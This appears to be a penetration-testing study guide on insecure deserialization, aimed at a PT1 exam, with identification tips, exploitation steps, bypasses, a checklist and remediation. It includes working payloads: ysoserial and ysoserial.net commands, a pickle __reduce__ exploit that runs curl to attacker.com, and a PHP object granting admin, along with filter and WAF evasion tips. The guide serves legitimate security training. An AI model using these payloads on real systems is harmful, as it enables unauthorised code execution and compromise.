Insecure Deserialization
Table of Contents
Deserialization is the process of reconstructing an object from a serialized data format (a byte stream, JSON, XML, or a language-specific format) back into a live in-memory object. Insecure Deserialization occurs when an application deserializes untrusted input without validating or restricting what it can become — allowing an attacker to construct a malicious serialized payload that executes code, tampers with application logic, or escalates privilege when deserialized.
Distinct from injection techniques that manipulate a query or command string: here the attacker is manipulating the object graph itself — the vulnerability lives in how the deserializer rebuilds objects, not in a specific field's content.
Related: Command Injection Server-Side Template Injection API Testing Methodology SPA Penetration Testing JSON Web Tokens PT1 Vulnerability Classification Cheat Sheet
1. Identification
Deserialization vulnerabilities depend heavily on language and framework. Look for these signals before testing:
Language / Format Fingerprints
| Language | Serialized format signature |
|---|---|
| Java | rO0 (Base64) or AC ED 00 05 (hex) magic bytes |
| PHP | O:8:"ClassName":N:{...} or a:N:{...} |
| Python | pickle — often opaque binary, sometimes Base64 |
| .NET | TypeObject, $type field in JSON (Json.NET), ViewState |
| Ruby | --- !ruby/object:ClassName (YAML) |
| Node.js | node-serialize — _$$ND_FUNC$$_ marker in payload |
Where to Look
- Cookies (especially
ViewStatein ASP.NET applications) - Hidden form fields
- API request bodies that accept more than plain JSON/primitives
- Custom headers used for caching or session state
- File upload contents (serialized config or session files)
- Any parameter that looks like opaque encoded data rather than a readable value
# Decode a suspected Base64 serialized blob to inspect magic bytes echo "<value>" | base64 -d | xxd | head -5 # Java magic bytes appear as: ac ed 00 05
2. Exploitation
Java — ysoserial
The most common exam-relevant case. If a Java application deserializes attacker-controlled input and a known-vulnerable "gadget chain" library (Commons Collections, Spring, Groovy) is on the classpath, remote code execution is achievable without a memory-corruption exploit.
# Generate a malicious serialized payload with ysoserial java -jar ysoserial.jar CommonsCollections6 \ 'curl http://attacker.com/rce-confirmed' > payload.bin # Base64-encode if the injection point expects text (cookie, header) base64 -w0 payload.bin > payload.b64 # Deliver via the identified injection point, e.g. a cookie curl http://$IP/app -H "Cookie: session=$(cat payload.b64)"
Confirm execution out-of-band (DNS or HTTP callback to a listener you control) rather than relying on response content — most deserialization RCE is blind.
PHP — Object Injection
PHP's unserialize() reconstructs objects and invokes magic
methods (__wakeup, __destruct) automatically. If a class with
a dangerous magic method exists in the application's codebase, a
crafted object triggers it on deserialization.
# Example: crafting a PHP serialized object manually # O:4:"User":2:{s:4:"name";s:5:"admin";s:8:"is_admin";b:1;} curl http://$IP/profile \ -d 'data=O:4:"User":2:{s:4:"name";s:5:"admin";s:8:"is_admin";b:1;}'
Look for source code (if accessible) to identify which classes have exploitable magic methods before crafting a payload blind.
Python — pickle
pickle.loads() on untrusted input allows arbitrary code
execution via the __reduce__ method, since unpickling can call
any importable function.
import pickle, os, base64 class Exploit: def __reduce__(self): return (os.system, ('curl http://attacker.com/rce-confirmed',)) payload = base64.b64encode(pickle.dumps(Exploit())) print(payload.decode())
.NET — ViewState / JSON.NET TypeNameHandling
ASP.NET ViewState deserialization RCE requires the machine key
(often leaked, default, or crackable). JSON.NET configured with
TypeNameHandling.All allows an attacker to specify the type to
instantiate directly in the JSON payload — combine with a known
gadget chain (ysoserial.net).
# ysoserial.net for JSON.NET gadget chains ysoserial.exe -p Json.Net -g ObjectDataProvider \ -c "curl http://attacker.com/rce-confirmed" -o base64
3. Bypass Techniques
- Deny-list filtering on class names: many mitigations block
known-dangerous class names (
Runtime,ProcessBuilder) rather than restricting to an allow-list — search for alternative gadget chains not covered by the filter - Nested/wrapped serialization: double Base64 or compressed (gzip) payloads may bypass signature-based WAF detection
- Type confusion: where the deserializer infers type from a
$typeor class-name field, supplying an unexpected but structurally valid type can reach unintended code paths
4. Testing Methodology / Checklist
[ ]Identify all parameters carrying opaque/encoded data (cookies, hidden fields, headers, API bodies)[ ]Fingerprint the serialization format from magic bytes or structural markers[ ]Identify the backend language/framework (error messages, response headers, file extensions)[ ]If Java: check for known-vulnerable libraries via error stack traces or exposed dependency manifests; attempt ysoserial gadget chains via an out-of-band listener[ ]If PHP: search for accessible source revealing magic methods; craft object injection payloads[ ]If Python: check forpickle,yaml.load()(notsafe_load), oreval()-based deserialization[ ]If .NET: check ViewState MAC validation status; check JSON.NETTypeNameHandlingconfiguration if source is visible[ ]Always confirm exploitation out-of-band (DNS/HTTP callback) — do not assume failure from a lack of visible response change
5. Reporting Template
Classification: Insecure Deserialization
Severity: Critical (typically CVSS 9.0+ where remote code execution is achieved; lower if only object/property tampering without code execution is demonstrated)
Description:
The application at [endpoint] deserializes untrusted [cookie /
header / request body] data using [=unserialize()= / pickle.loads()
/ Java native deserialization / JSON.NET with TypeNameHandling]
without validating or restricting the resulting object type. This
allows an attacker to supply a crafted serialized payload that
[executes arbitrary code / tampers with application state] upon
deserialization.
Evidence:
[Raw HTTP request containing the malicious serialized payload, plus confirmation of out-of-band callback receipt — timestamp and source IP of the callback is the strongest evidence for blind RCE.]
Impact: Remote code execution in the context of the application server, typically leading to full system compromise.
Remediation:
- Avoid deserializing untrusted input entirely where possible; prefer plain data formats (JSON with primitive types only)
- If deserialization of complex objects is required, use an allow-list of permitted types
- Keep deserialization libraries patched — most gadget chains rely on specific vulnerable library versions being present
- For .NET: enforce ViewState MAC validation; avoid
TypeNameHandling.Allin JSON.NET - For PHP: audit all classes with magic methods reachable via
unserialize()
Tips
- This is a low-frequency but high-severity finding on PT1 — most boxes won't have it, but when present it's usually a critical and worth the time investment to confirm
- Blind is the default assumption — set up an out-of-band listener (Burp Collaborator or your own) before attempting exploitation, not after a payload appears to fail
- ysoserial and ysoserial.net cover the vast majority of exam- relevant Java/.NET gadget chains — know their basic invocation syntax rather than the internals of each gadget
- If source code is available (whitebox or leaked), grep for
unserialize(,pickle.loads(,readObject(, orTypeNameHandlingbefore attempting blind exploitation — it turns a guessing exercise into a targeted one